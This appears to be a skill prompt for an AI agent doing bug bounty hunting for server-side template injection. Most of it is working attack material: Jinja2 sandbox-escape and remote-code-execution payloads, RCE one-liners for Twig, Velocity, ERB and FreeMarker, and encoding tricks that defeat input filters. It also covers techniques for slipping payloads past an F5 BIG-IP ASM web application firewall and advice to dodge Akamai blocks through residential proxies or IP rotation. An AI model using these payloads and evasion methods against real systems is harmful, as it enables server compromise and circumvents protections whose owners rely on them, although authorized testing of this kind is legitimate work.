| name | ssti-hunter |
| description | Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE bypass runner + runtime-vs-parse distinguisher. |
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
MANDATORY: Research First (not optional)
Before testing, you MUST call:
search_techniques with "ssti" — proven exploitation techniques
search_payloads with "ssti" — curated payload list
search_writeups with "jinja2 sandbox bypass SSTI" — recent CVE and CTF writeups
Read returned content and incorporate proven techniques into your plan before making any HTTP requests. Skipping wastes time reinventing tricks from 2019. Fall back to rules/payloads.md if the MCP is unreachable.
MANDATORY: Disk-first discipline
Every probe matrix + result goes to evidence/<target>/ssti/. Non-negotiable — losing a blocklist map to a fresh session is a huge waste.
Detection Phase (always first)
Confirm engine type via polyglot probe. Response tells you the engine:
| Payload | Jinja2/Flask | Twig | Velocity | FreeMarker | ERB |
|---|
{{7*7}} | 49 | 49 | | | |
{{7*'7'}} | 7777777 | 49 | | | |
${7*7} | | | 49 | 49 | |
#{7*7} | | | | | 49 |
<%= 7*7 %> | | | | | 49 |
If {{7*7}} renders 49 → Jinja2 family. Move to Section "Jinja2 Deep Attack".
Test the sink rendering — not just parse success. In Mergify-style rule engines, /configuration-simulator only PARSES; /pulls/{n}/simulator RENDERS. Only the renderer will leak values from successful SSTI.
Jinja2 Deep Attack
Step 1: Characterize the sandbox
Hardened Jinja2 sandboxes use custom is_safe_attribute overrides. Before running RCE payloads, map the blocklist:
# On a CLASS (so __mro__ etc exist):
for attr in __class__ __mro__ __bases__ __base__ __subclasses__ \
__init__ __new__ __dict__ __globals__ __builtins__ \
__module__ __name__ __qualname__ __code__ __closure__ \
__defaults__ __kwdefaults__ __annotations__ __doc__ \
__reduce__ __reduce_ex__ __getstate__ __setstate__ \
__subclasshook__ __instancecheck__ __subclasscheck__ \
__format__ __hash__ __sizeof__ __dir__ __getattribute__ \
__call__ __repr__ __str__ __eq__ __ne__ \
__class_getitem__ __init_subclass__ __self__ __func__ \
__wrapped__ __text_signature__ __weakref__ \
mro subclasses bases name qualname base \
; do
echo "TEST: {{ SOMECLASS|attr('$attr') }}"
done
Classify each:
"invalid template" → BLOCKED by sandbox (blocklist hit)
"'X object' has no attribute 'Y'" → attribute doesn't exist on target type (test on different type)
- Value rendered → ALLOWED — this is your attack path
Write the map to evidence/<target>/ssti/blocklist-map.md.
Step 2: Find the gap
The WHOLE attack is finding ONE attribute that:
- Passes
is_safe_attribute (not in blocklist)
- Exists on a reachable object
- Resolves to something you can chain to arbitrary code
Common gaps in hand-hardened blocklists:
- Non-dunder
mro on classes — default Jinja doesn't block; some hardened (Mergify) do. Always test.
- Private mangled names:
_Cycler__items, _Namespace__attrs, _TemplateReference__context — sometimes missed
- Python 3.7+ additions:
__class_getitem__, __match_args__, __type_params__ — often overlooked
- Frame/code/generator internals:
cr_frame, gi_frame, f_globals, co_code — if you can reach a coroutine/frame, these may be allowed
- Method descriptor
__objclass__: reveals class from method_descriptor → some sandboxes miss this
Step 3: Confirmed working primitives (CVE-based)
CVE-2025-27516 / CVE-2024-56326 — |attr('format') unsafe format
CVE-2019-10906 — older str.format sandbox escape
{{ ''.format('{0.__class__}')(x) }} — works on Jinja < 2.10.1
- Unlikely on modern targets but try once.
CVE-2024-22195 / CVE-2024-34064 / CVE-2024-56201 — xmlattr / compile
|xmlattr with attribute-name injection: {{ {'a b':'v'}|xmlattr }} — mainly useful for XSS-via-template, not RCE.
Step 4: Classic chain (if blocklist has gaps)
# Baseline
{{ ''.__class__.__mro__[-1].__subclasses__() }}
# Via joiner (if reachable as class)
{{ joiner.__mro__[-1].__subclasses__() }}
# Via |attr chain
{{ joiner|attr('__mro__')|last|attr('__subclasses__')() }}
# RCE via Popen (subclass index varies by Python version)
{{ ''.__class__.__mro__[-1].__subclasses__()[POPEN_IDX]('id', shell=True, stdout=-1).communicate()[0] }}
# RCE via function globals
{{ lipsum.__globals__['os'].popen('id').read() }}
# RCE via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ config.__class__.from_envvar.__globals__['import_string']('os').popen('id').read() }}
# RCE via request application (Flask)
{{ request.application.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# Fully hex-escaped (defeat simple substring filters)
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
Step 5: Filter-bypass encoding arsenal
When a source-level regex filter blocks __class__/__globals__/etc.:
# 1. Bracket vs dot (defeats `.__class__` pattern)
{{ ''['__class__'] }}
{{ lipsum['__globals__'] }}
# 2. |attr filter (defeats `.__attr__` pattern)
{{ ''|attr('__class__') }}
# 3. Hex-escaped underscores (defeats literal string match)
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f') }}
# 4. Unicode escapes (Jinja decodes same as hex)
{{ lipsum|attr('__globals__') }}
# 5. String construction at runtime (defeats const folding IF using context variable)
{% set k = request.args.get('u','__') + 'class' + request.args.get('u','__') %}
{{ ''|attr(k) }}
# 6. Concat with filter to prevent const-folding
{% set k = 'CLASS'|lower %}{{ ''|attr('__' + k + '__') }}
# 7. |format filter to build dunder string
{{ ''|attr('%s%sglobals%s%s'|format('_','_','_','_')) }}
# 8. getlist/getitem via nested filters (from HackTricks)
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
Step 6: Statement-tag bypasses (when {{ }} is blocked)
{% print(lipsum.__globals__.os.popen('id').read()) %}
{% if 7*7 == 49 %}OK{% endif %}
{% for x in [1] %}{{ x }}{% endfor %}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}
Step 7: Encoding tricks (for regex filters)
# YAML-level escapes (before Jinja parse)
message: "{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}" # YAML decodes \x in double-quote → '__class__'
message: '{{ ''|attr(''\\x5f\\x5fclass\\x5f\\x5f'') }}' # YAML single-quote preserves backslash
# Base64 (requires decode filter)
{{ 'X19nbG9iYWxzX18='|b64decode }} # returns '__globals__' if filter exists
# Unicode homoglyphs — PROBE ONLY (Python getattr is strict)
{{ lipsum|attr('__сlass__') }} # Cyrillic с → passes string-equality blocklist but fails getattr
Twig (PHP)
# _self-based RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Via filter
{{"id"|filter("system")}}
# Map of classes
{{app.getRequest().server.get("DOCUMENT_ROOT")}}
Velocity (Java)
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($proc = $rt.getRuntime().exec('id'))
#set($is = $proc.getInputStream())
$is
ERB (Ruby)
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read() %>
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}} {{this.push (lookup string.sub "constructor")}}
{{/with}}
{{/with}}
{{/with}}
F5 BIG-IP ASM Bypass — when ${...} is soft-blocked
If a target is fronted by F5 BIG-IP ASM, the standard ${7*7} probe will return HTTP 200 with body length 101 and content <html><head><title>Request Rejected</title></head>.... That's the F5 ASM soft-block for the EL/SSTI signature — NOT a 403, do not misclassify as "endpoint not vulnerable." Detect by body fingerprint, not status code.
Cookies confirming F5 ASM in front: TS019d407a / TS01ee32dc / similar TS[a-f0-9]{8} pattern, lb-N-p-NNN persistence cookies.
The F5 rule is start-anchored on the literal ${ after URL-decoding once. Validated bypass primitives (raw-socket verified 2026-05 against banking-grade F5 ASM deployment — see rules/payloads.md "F5 BIG-IP ASM Bypass Primitives" section for full list with curl examples):
Tier 1 — try first (most reliable, simplest)
-
JSON Content-Type smuggling (Bugtraq 2015, F5 acknowledged "no fix in near term"):
POST /target/endpoint HTTP/1.1
Host: target
Content-Type: application/json
Content-Length: 16
q=%24%7B7%2A7%7D
F5 routes through JSON parser, which doesn't URL-decode → rule misses. Backend gets the body. Works on application/json, text/json, application/vnd.api+json, application/hal+json, application/ld+json — anything containing the substring json.
-
Header smuggling — F5 does NOT inspect these for the ${...} rule:
User-Agent: Mozilla/5.0 ${7*7} test
Cookie: tracking=${7*7}
Accept-Language: en-US,${7*7}
- F5 DOES inspect:
Referer, Origin, X-Forwarded-*, X-Real-IP, True-Client-IP, X-Originating-IP, Forwarded, custom X-* headers — don't try those.
-
Alternative engine syntax — F5's regex doesn't match these (no ${ substring or ${ not at start):
- Twig/Jinja/Handlebars:
{{7*7}}
- Thymeleaf:
*{7*7} or [[${7*7}]]
- Velocity:
#set($x=7*7)$x
- Razor:
@(7*7) or @{var x=7*7;}@x
- ERB:
<%= 7*7 %> or <%-= 7*7 -%>
- FreeMarker:
<#assign x=7*7>${x} (the <#assign> prefix means F5 doesn't anchor — ${x} slips even though it contains ${)
- Smarty:
{$x=7*7}{$x}
- Pug:
#{7*7} or !{7*7}
URL-encode special chars ({, <, *, etc.) before sending to avoid Tomcat URL-parser rejection. F5 still misses the encoded form.
Tier 2 — encoding tricks (require backend cooperation)
-
UTF-7 encoded ${7*7}: +ACQAew-7*7+AH0- — F5 doesn't decode UTF-7. Useful when target Java app (or any UTF-7-decoding stack) reaches the value.
-
Microsoft IIS-style %u encoding: ?q=%uFE69%uFE5B7*7%uFE5D (fullwidth ${7*7}) — F5 doesn't decode %uXXXX. Useful on .NET / classic IIS backends.
-
HTML-entity-then-URL-encoded: ?q=&%2336;&%23123;7*7&%23125; — F5 sees ampersand strings, no match. Useful when backend HTML-decodes templated input.
-
Fullwidth Unicode $ (U+FF04): send as raw UTF-8 \xef\xbc\x84 — F5 doesn't see $. Useful when backend NFKC-normalizes (common in Java input filters).
What F5 still catches (verified blocked — don't waste time)
- Standard
${...} anywhere in path or query
- URL-encoded
%24%7B...%7D, double-URL-encoded %2524%257B...
- Whitespace inside braces:
${ 7*7 }, ${\n7*7\n}, ${\t7*7\t}
- Zero-width chars between
$ and {: \x00, ZWSP, ZWJ, RLO, BOM, soft hyphen, tab, CR
- Path-based:
/api/${7*7}, /wb-sessions/${7*7}/config
- Matrix params:
/path;${7*7}, /path;jsessionid=${7*7}
- HTML-entity-without-URL-encoding (literal
${ still present): ${7*7}
- Backslash escape:
$\\{7*7\\}
Decision tree for an SSTI hunt behind F5 ASM
- Send standard
?q=${7*7} → if 101-byte soft-block, F5 confirmed.
- Try Tier 1.1 (JSON smuggling) on the most-likely Java/Spring target — fastest, most reliable. If body delivered to app → bypass achieved at WAF layer.
- If endpoint accepts JSON only, Tier 1.3 (alt engine) per detected backend stack.
- If you can't change Content-Type (GET endpoints), Tier 1.2 (header smuggling) IF target reflects/logs/templates User-Agent or Cookie value.
- If Tier 1 all fails, Tier 2 (encoding tricks) — only useful if backend does the matching decoder.
- Bypass alone is informational. Stack with a real templating engine sink to make it a paid finding.
Akamai (Kona + Bot Manager) — verified NOT bypassable from a flagged source IP
For completeness: TLS fingerprint matching via curl_cffi (Chrome/Firefox/Edge/Safari profiles) and real Firefox via camoufox both return Access Denied (errors.edgesuite.net reference) when the source IP is flagged. Akamai blocks via IP reputation, not TLS or payload pattern. To bypass Akamai, use a clean residential proxy or rotate to an unflagged IP — not a payload-side problem.
Testing Methodology
For any suspected SSTI sink
- Context detection — polyglot probe confirms engine family
- Parse vs render distinction — find the endpoint that actually renders
- Sandbox fingerprint — probe blocklist systematically (Step 1 above). 10 minutes.
- CVE attempts — Step 3 primitives. 10 minutes.
- Gap search — Step 2 per-type blocklist gaps. 30 minutes.
- Stop at 90 minutes if nothing yields. Pivot to non-template vector.
What to record per attempt
Per payload: source template, YAML wrapper, response body (first 500 chars), classification:
- CONFIRMED RCE — command output in response, full chain working
- CONFIRMED LEAK — dunder value returned (e.g.
<class 'X'>)
- PRIMITIVE — non-dunder attribute leaked (e.g.
<function str.format at 0x...>)
- BLOCKED —
"invalid template" sandbox rejection
- NO-ATTR — attribute doesn't exist on target (uninformative — test different type)
- ERROR-LEAK — Python exception message leaks info (
'X object' has no attribute 'Y')
Brain Integration
Before starting, read brain for existing sandbox maps on this or similar targets:
uv run python3 ../../tools/brain.py brief <target>
grep -r "ssti-sandbox-map\|blocklist-map" evidence/
After completing, write:
uv run python3 ../../tools/brain.py record <target> <status> "ssti-<engine>" "<blocklist-summary + gaps tested + outcome>"
For a sandbox with no gaps found:
uv run python3 ../../tools/brain.py record <target> exhausted "ssti-jinja2" "Blocklist includes mro; all dunders blocked at is_safe_attribute; |attr('format') CVE works for non-dunder only; no escape path. Pivot recommended."
Output
Report under "Server-Side Template Injection" (H1 #74) if RCE confirmed.
If only LEAK confirmed (no RCE), frame as info disclosure with specific leaked data:
- Memory address (Info) — standalone kill
- Internal class/module names (Info) — standalone kill
- Environment variable / secret via sandbox escape (High/Critical) — submit
If only PARTIAL bypass (non-dunder primitive like CVE-2025-27516 pattern without dunder chain), write up as Info/Low noting CVE correlation. Don't inflate.
Every verdict with source + YAML + response + classification. Terminal outputs aren't reports.
Top-Tier Operator Standard
SSTI is reportable when attacker input reaches a template interpreter with meaningful capability.
- Fingerprint engine and context first: Jinja2, Twig, Freemarker, Velocity, Liquid, Handlebars, ERB, Go templates, or custom expression language.
- Prove evaluation with arithmetic/string marker, then enumerate sandbox constraints and safe escalation path.
- Separate template evaluation, data disclosure, file read, SSRF, and command execution as different severity tiers.
- Kill reflected braces, client-side rendering, syntax errors without evaluation, and sandboxed arithmetic with no sensitive object access unless the program pays low severity.
- Record template source, payload, rendered response, blocked primitives, bypass attempts, and final capability.